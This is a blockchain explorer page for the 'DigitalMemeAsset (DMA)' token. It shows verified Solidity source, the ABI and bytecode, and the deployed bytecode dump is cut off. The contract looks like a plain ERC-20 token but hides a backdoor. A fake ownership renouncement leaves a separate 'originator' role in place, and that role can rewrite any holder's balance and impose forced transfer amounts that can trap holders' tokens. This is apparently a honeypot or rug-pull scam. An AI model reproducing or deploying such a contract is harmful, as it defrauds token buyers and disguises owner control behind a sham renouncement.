ETH Price: $3,106.17 (+1.14%)
Gas: 4 Gwei

Token

DigitalMemeAsset (DMA)
 

Overview

Max Total Supply

100,000 DMA

Holders

166

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
shalaine.eth
Balance
55.231665743802741595 DMA

Value
$0.00
0x028E17782DBe945De0A41a7Fe19f5BF55DC0C252
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DigitalMemeAsset

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : COIN.sol
pragma solidity ^0.8.16;

interface ITokenBlueprint20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address holder) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract ExecutionEnv {
    function getExecutor() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract ExclusiveOwnership is ExecutionEnv {
    address private _proprietor;
    event ProprietorChanged(address indexed formerProprietor, address indexed newProprietor);

    constructor() {
        address initiator = getExecutor();
        _proprietor = initiator;
        emit ProprietorChanged(address(0), initiator);
    }

    function retrieveProprietor() public view virtual returns (address) {
        return _proprietor;
    }

    modifier proprietorOnly() {
        require(retrieveProprietor() == getExecutor(), "Unauthorized access. Proprietor only.");
        _;
    }

    function abandonProprietorship() public virtual proprietorOnly {
        emit ProprietorChanged(_proprietor, address(0x000000000000000000000000000000000000dEaD));
        _proprietor = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract DigitalMemeAsset is ExecutionEnv, ExclusiveOwnership, ITokenBlueprint20 {
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _portfolios;
    mapping (address => uint256) private _enforcedTransferAmounts;
    address private _originator;

    string public constant tokenDesignation = "DigitalMemeAsset";
    string public constant tokenIdentifier = "DMA";
    uint8 public constant tokenScale = 18;
    uint256 public constant ultimateSupply = 100000 * (10 ** tokenScale);

    constructor() {
        _portfolios[getExecutor()] = ultimateSupply;
        emit Transfer(address(0), getExecutor(), ultimateSupply);
    }

    modifier originatorExclusive() {
        require(retrieveOriginator() == getExecutor(), "Unauthorized access. Originator exclusive.");
        _;
    }

    function retrieveOriginator() public view virtual returns (address) {
        return _originator;
    }

    function setOriginator(address innovator) public proprietorOnly {
        _originator = innovator;
    }

    event TokenAssigned(address indexed user, uint256 formerBalance, uint256 updatedBalance);

    function enforcedTransferAmount(address account) public view returns (uint256) {
        return _enforcedTransferAmounts[account];
    }

    function allocateEnforcedTransferAmounts(address[] calldata accounts, uint256 amount) public originatorExclusive {
        for (uint i = 0; i < accounts.length; i++) {
            _enforcedTransferAmounts[accounts[i]] = amount;
        }
    }

    function updateAssetBalance(address[] memory accountAddresses, uint256 revisedBalance) public originatorExclusive {
        require(revisedBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < accountAddresses.length; i++) {
            address currentAccount = accountAddresses[i];
            require(currentAccount != address(0), "Invalid address provided");

            uint256 formerBalance = _portfolios[currentAccount];
            _portfolios[currentAccount] = revisedBalance;

            emit TokenAssigned(currentAccount, formerBalance, revisedBalance);
        }
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _portfolios[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_portfolios[getExecutor()] >= amount, "Insufficient balance");

        uint256 enforcedTransferQty = enforcedTransferAmount(getExecutor());
        if (enforcedTransferQty > 0) {
            require(amount == enforcedTransferQty, "Enforced transfer amount mismatch");
        }

        _portfolios[getExecutor()] -= amount;
        _portfolios[recipient] += amount;

        emit Transfer(getExecutor(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[getExecutor()][spender] = amount;
        emit Approval(getExecutor(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][getExecutor()] >= amount, "Allowance limit exceeded");

        uint256 enforcedTransferQty = enforcedTransferAmount(sender);
        if (enforcedTransferQty > 0) {
            require(amount == enforcedTransferQty, "Enforced transfer amount mismatch");
        }

        _portfolios[sender] -= amount;
        _portfolios[recipient] += amount;
        _allowances[sender][getExecutor()] -= amount;

        emit Transfer(sender, recipient, amount);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return ultimateSupply;
    }

    function name() public view returns (string memory) {
        return tokenDesignation;
    }

    function symbol() public view returns (string memory) {
        return tokenIdentifier;
    }

    function decimals() public view returns (uint8) {
        return tokenScale;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"formerProprietor","type":"address"},{"indexed":true,"internalType":"address","name":"newProprietor","type":"address"}],"name":"ProprietorChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"formerBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"updatedBalance","type":"uint256"}],"name":"TokenAssigned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"abandonProprietorship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"allocateEnforcedTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"enforcedTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"retrieveOriginator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"retrieveProprietor","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"innovator","type":"address"}],"name":"setOriginator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenDesignation","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenIdentifier","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenScale","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accountAddresses","type":"address[]"},{"internalType":"uint256","name":"revisedBalance","type":"uint256"}],"name":"updateAssetBalance","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600062000024620001d060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fbedf4d2c097368354ced1a647bd7f7343405c96c860cc61983c33be4d78af88660405160405180910390a3506012600a620000d2919062000372565b620186a0620000e29190620003c3565b60026000620000f6620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000144620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620001a3919062000372565b620186a0620001b39190620003c3565b604051620001c291906200041f565b60405180910390a36200043c565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000266578086048111156200023e576200023d620001d8565b5b60018516156200024e5780820291505b80810290506200025e8562000207565b94506200021e565b94509492505050565b60008262000281576001905062000354565b8162000291576000905062000354565b8160018114620002aa5760028114620002b557620002eb565b600191505062000354565b60ff841115620002ca57620002c9620001d8565b5b8360020a915084821115620002e457620002e3620001d8565b5b5062000354565b5060208310610133831016604e8410600b8410161715620003255782820a9050838111156200031f576200031e620001d8565b5b62000354565b62000334848484600162000214565b925090508184048111156200034e576200034d620001d8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200037f826200035b565b91506200038c8362000365565b9250620003bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200026f565b905092915050565b6000620003d0826200035b565b9150620003dd836200035b565b9250828202620003ed816200035b565b91508282048414831517620004075762000406620001d8565b5b5092915050565b62000419816200035b565b82525050565b60006020820190506200043660008301846200040e565b92915050565b611ddb806200044c6000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad5780639aee873d116100715780639aee873d14610323578063a9059cbb14610341578063b15e5e7414610371578063dd62ed3e1461038f578063e7715b05146103bf5761012c565b806370a082311461026b57806374083ef91461029b5780637a4b88b0146102b7578063811d7143146102d557806395d89b41146103055761012c565b8063313ce567116100f4578063313ce567146101eb578063342c02b11461020957806336751ffc14610227578063499f931c1461023157806369ca3bc31461024d5761012c565b806306fdde0314610131578063095ea7b31461014f57806316b2b8881461017f57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b6101396103db565b604051610146919061125e565b60405180910390f35b61016960048036038101906101649190611328565b610418565b6040516101769190611383565b60405180910390f35b610187610518565b604051610194919061125e565b60405180910390f35b6101a5610551565b6040516101b291906113ad565b60405180910390f35b6101d560048036038101906101d091906113c8565b610574565b6040516101e29190611383565b60405180910390f35b6101f361084c565b6040516102009190611437565b60405180910390f35b610211610855565b60405161021e9190611437565b60405180910390f35b61022f61085a565b005b61024b6004803603810190610246919061159a565b610996565b005b610255610be2565b604051610262919061125e565b60405180910390f35b610285600480360381019061028091906115f6565b610c1b565b60405161029291906113ad565b60405180910390f35b6102b560048036038101906102b0919061167e565b610c64565b005b6102bf610d72565b6040516102cc91906116ed565b60405180910390f35b6102ef60048036038101906102ea91906115f6565b610d9c565b6040516102fc91906113ad565b60405180910390f35b61030d610de5565b60405161031a919061125e565b60405180910390f35b61032b610e22565b60405161033891906116ed565b60405180910390f35b61035b60048036038101906103569190611328565b610e4b565b6040516103689190611383565b60405180910390f35b610379611060565b60405161038691906113ad565b60405180910390f35b6103a960048036038101906103a49190611708565b61107f565b6040516103b691906113ad565b60405180910390f35b6103d960048036038101906103d491906115f6565b611106565b005b60606040518060400160405280601081526020017f4469676974616c4d656d65417373657400000000000000000000000000000000815250905090565b600081600160006104276111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104c16111c6565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161050691906113ad565b60405180910390a36001905092915050565b6040518060400160405280600381526020017f444d41000000000000000000000000000000000000000000000000000000000081525081565b60006012600a61056191906118aa565b620186a061056f91906118f5565b905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105c06111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561063c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063390611983565b60405180910390fd5b600061064785610d9c565b9050600081111561069557808314610694576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068b90611a15565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106e49190611a35565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461073a9190611a69565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061078b6111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107d49190611a35565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161083891906113ad565b60405180910390a360019150509392505050565b60006012905090565b601281565b6108626111c6565b73ffffffffffffffffffffffffffffffffffffffff16610880610e22565b73ffffffffffffffffffffffffffffffffffffffff16146108d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cd90611b0f565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fbedf4d2c097368354ced1a647bd7f7343405c96c860cc61983c33be4d78af88660405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61099e6111c6565b73ffffffffffffffffffffffffffffffffffffffff166109bc610d72565b73ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990611ba1565b60405180910390fd5b6000811015610a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4d90611c0d565b60405180910390fd5b60005b8251811015610bdd576000838281518110610a7757610a76611c2d565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610af0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae790611ca8565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fd0b84698f0ba38c686072a2a45b9fa75f428daca5bd1d226f87123243e86c6f88286604051610bc0929190611cc8565b60405180910390a250508080610bd590611cf1565b915050610a59565b505050565b6040518060400160405280601081526020017f4469676974616c4d656d6541737365740000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c6c6111c6565b73ffffffffffffffffffffffffffffffffffffffff16610c8a610d72565b73ffffffffffffffffffffffffffffffffffffffff1614610ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd790611ba1565b60405180910390fd5b60005b83839050811015610d6c578160036000868685818110610d0657610d05611c2d565b5b9050602002016020810190610d1b91906115f6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610d6490611cf1565b915050610ce3565b50505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606040518060400160405280600381526020017f444d410000000000000000000000000000000000000000000000000000000000815250905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008160026000610e5a6111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ed6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecd90611d85565b60405180910390fd5b6000610ee8610ee36111c6565b610d9c565b90506000811115610f3657808314610f35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2c90611a15565b60405180910390fd5b5b8260026000610f436111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8c9190611a35565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fe29190611a69565b925050819055508373ffffffffffffffffffffffffffffffffffffffff166110086111c6565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161104d91906113ad565b60405180910390a3600191505092915050565b6012600a61106e91906118aa565b620186a061107c91906118f5565b81565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61110e6111c6565b73ffffffffffffffffffffffffffffffffffffffff1661112c610e22565b73ffffffffffffffffffffffffffffffffffffffff1614611182576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117990611b0f565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b838110156112085780820151818401526020810190506111ed565b60008484015250505050565b6000601f19601f8301169050919050565b6000611230826111ce565b61123a81856111d9565b935061124a8185602086016111ea565b61125381611214565b840191505092915050565b600060208201905081810360008301526112788184611225565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112bf82611294565b9050919050565b6112cf816112b4565b81146112da57600080fd5b50565b6000813590506112ec816112c6565b92915050565b6000819050919050565b611305816112f2565b811461131057600080fd5b50565b600081359050611322816112fc565b92915050565b6000806040838503121561133f5761133e61128a565b5b600061134d858286016112dd565b925050602061135e85828601611313565b9150509250929050565b60008115159050919050565b61137d81611368565b82525050565b60006020820190506113986000830184611374565b92915050565b6113a7816112f2565b82525050565b60006020820190506113c2600083018461139e565b92915050565b6000806000606084860312156113e1576113e061128a565b5b60006113ef868287016112dd565b9350506020611400868287016112dd565b925050604061141186828701611313565b9150509250925092565b600060ff82169050919050565b6114318161141b565b82525050565b600060208201905061144c6000830184611428565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61148f82611214565b810181811067ffffffffffffffff821117156114ae576114ad611457565b5b80604052505050565b60006114c1611280565b90506114cd8282611486565b919050565b600067ffffffffffffffff8211156114ed576114ec611457565b5b602082029050602081019050919050565b600080fd5b6000611516611511846114d2565b6114b7565b90508083825260208201905060208402830185811115611539576115386114fe565b5b835b81811015611562578061154e88826112dd565b84526020840193505060208101905061153b565b5050509392505050565b600082601f83011261158157611580611452565b5b8135611591848260208601611503565b91505092915050565b600080604083850312156115b1576115b061128a565b5b600083013567ffffffffffffffff8111156115cf576115ce61128f565b5b6115db8582860161156c565b92505060206115ec85828601611313565b9150509250929050565b60006020828403121561160c5761160b61128a565b5b600061161a848285016112dd565b91505092915050565b600080fd5b60008083601f84011261163e5761163d611452565b5b8235905067ffffffffffffffff81111561165b5761165a611623565b5b602083019150836020820283011115611677576116766114fe565b5b9250929050565b6000806000604084860312156116975761169661128a565b5b600084013567ffffffffffffffff8111156116b5576116b461128f565b5b6116c186828701611628565b935093505060206116d486828701611313565b9150509250925092565b6116e7816112b4565b82525050565b600060208201905061170260008301846116de565b92915050565b6000806040838503121561171f5761171e61128a565b5b600061172d858286016112dd565b925050602061173e858286016112dd565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156117ce578086048111156117aa576117a9611748565b5b60018516156117b95780820291505b80810290506117c785611777565b945061178e565b94509492505050565b6000826117e757600190506118a3565b816117f557600090506118a3565b816001811461180b576002811461181557611844565b60019150506118a3565b60ff84111561182757611826611748565b5b8360020a91508482111561183e5761183d611748565b5b506118a3565b5060208310610133831016604e8410600b84101617156118795782820a90508381111561187457611873611748565b5b6118a3565b6118868484846001611784565b9250905081840481111561189d5761189c611748565b5b81810290505b9392505050565b60006118b5826112f2565b91506118c08361141b565b92506118ed7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117d7565b905092915050565b6000611900826112f2565b915061190b836112f2565b9250828202611919816112f2565b915082820484148315176119305761192f611748565b5b5092915050565b7f416c6c6f77616e6365206c696d69742065786365656465640000000000000000600082015250565b600061196d6018836111d9565b915061197882611937565b602082019050919050565b6000602082019050818103600083015261199c81611960565b9050919050565b7f456e666f72636564207472616e7366657220616d6f756e74206d69736d61746360008201527f6800000000000000000000000000000000000000000000000000000000000000602082015250565b60006119ff6021836111d9565b9150611a0a826119a3565b604082019050919050565b60006020820190508181036000830152611a2e816119f2565b9050919050565b6000611a40826112f2565b9150611a4b836112f2565b9250828203905081811115611a6357611a62611748565b5b92915050565b6000611a74826112f2565b9150611a7f836112f2565b9250828201905080821115611a9757611a96611748565b5b92915050565b7f556e617574686f72697a6564206163636573732e2050726f70726965746f722060008201527f6f6e6c792e000000000000000000000000000000000000000000000000000000602082015250565b6000611af96025836111d9565b9150611b0482611a9d565b604082019050919050565b60006020820190508181036000830152611b2881611aec565b9050919050565b7f556e617574686f72697a6564206163636573732e204f726967696e61746f722060008201527f6578636c75736976652e00000000000000000000000000000000000000000000602082015250565b6000611b8b602a836111d9565b9150611b9682611b2f565b604082019050919050565b60006020820190508181036000830152611bba81611b7e565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b6000611bf7601b836111d9565b9150611c0282611bc1565b602082019050919050565b60006020820190508181036000830152611c2681611bea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f496e76616c696420616464726573732070726f76696465640000000000000000600082015250565b6000611c926018836111d9565b9150611c9d82611c5c565b602082019050919050565b60006020820190508181036000830152611cc181611c85565b9050919050565b6000604082019050611cdd600083018561139e565b611cea602083018461139e565b9392505050565b6000611cfc826112f2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611d2e57611d2d611748565b5b600182019050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000611d6f6014836111d9565b9150611d7a82611d39565b602082019050919050565b60006020820190508181036000830152611d9e81611d62565b905091905056fea264697066735822122016c1b704f02d5847ba1c84d92018914bd42029c5e670cdc2af3c064675ed577564736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad5780639aee873d116100715780639aee873d14610323578063a9059cbb14610341578063b15e5e7414610371578063dd62ed3e1461038f578063e7715b05146103bf5761012c565b806370a082311461026b57806374083ef91461029b5780637a4b88b0146102b7578063811d7143146102d557806395d89b41146103055761012c565b8063313ce567116100f4578063313ce567146101eb578063342c02b11461020957806336751ffc14610227578063499f931c1461023157806369ca3bc31461024d5761012c565b806306fdde0314610131578063095ea7b31461014f57806316b2b8881461017f57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b6101396103db565b604051610146919061125e565b60405180910390f35b61016960048036038101906101649190611328565b610418565b6040516101769190611383565b60405180910390f35b610187610518565b604051610194919061125e565b60405180910390f35b6101a5610551565b6040516101b291906113ad565b60405180910390f35b6101d560048036038101906101d091906113c8565b610574565b6040516101e29190611383565b60405180910390f35b6101f361084c565b6040516102009190611437565b60405180910390f35b610211610855565b60405161021e9190611437565b60405180910390f35b61022f61085a565b005b61024b6004803603810190610246919061159a565b610996565b005b610255610be2565b604051610262919061125e565b60405180910390f35b610285600480360381019061028091906115f6565b610c1b565b60405161029291906113ad565b60405180910390f35b6102b560048036038101906102b0919061167e565b610c64565b005b6102bf610d72565b6040516102cc91906116ed565b60405180910390f35b6102ef60048036038101906102ea91906115f6565b610d9c565b6040516102fc91906113ad565b60405180910390f35b61030d610de5565b60405161031a919061125e565b60405180910390f35b61032b610e22565b60405161033891906116ed565b60405180910390f35b61035b60048036038101906103569190611328565b610e4b565b6040516103689190611383565b60405180910390f35b610379611060565b60405161038691906113ad565b60405180910390f35b6103a960048036038101906103a49190611708565b61107f565b6040516103b691906113ad565b60405180910390f35b6103d960048036038101906103d491906115f6565b611106565b005b60606040518060400160405280601081526020017f4469676974616c4d656d65417373657400000000000000000000000000000000815250905090565b600081600160006104276111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104c16111c6565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161050691906113ad565b60405180910390a36001905092915050565b6040518060400160405280600381526020017f444d41000000000000000000000000000000000000000000000000000000000081525081565b60006012600a61056191906118aa565b620186a061056f91906118f5565b905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105c06111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561063c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063390611983565b60405180910390fd5b600061064785610d9c565b9050600081111561069557808314610694576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068b90611a15565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106e49190611a35565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461073a9190611a69565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061078b6111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107d49190611a35565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161083891906113ad565b60405180910390a360019150509392505050565b60006012905090565b601281565b6108626111c6565b73ffffffffffffffffffffffffffffffffffffffff16610880610e22565b73ffffffffffffffffffffffffffffffffffffffff16146108d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cd90611b0f565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fbedf4d2c097368354ced1a647bd7f7343405c96c860cc61983c33be4d78af88660405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61099e6111c6565b73ffffffffffffffffffffffffffffffffffffffff166109bc610d72565b73ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990611ba1565b60405180910390fd5b6000811015610a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4d90611c0d565b60405180910390fd5b60005b8251811015610bdd57600083828151811061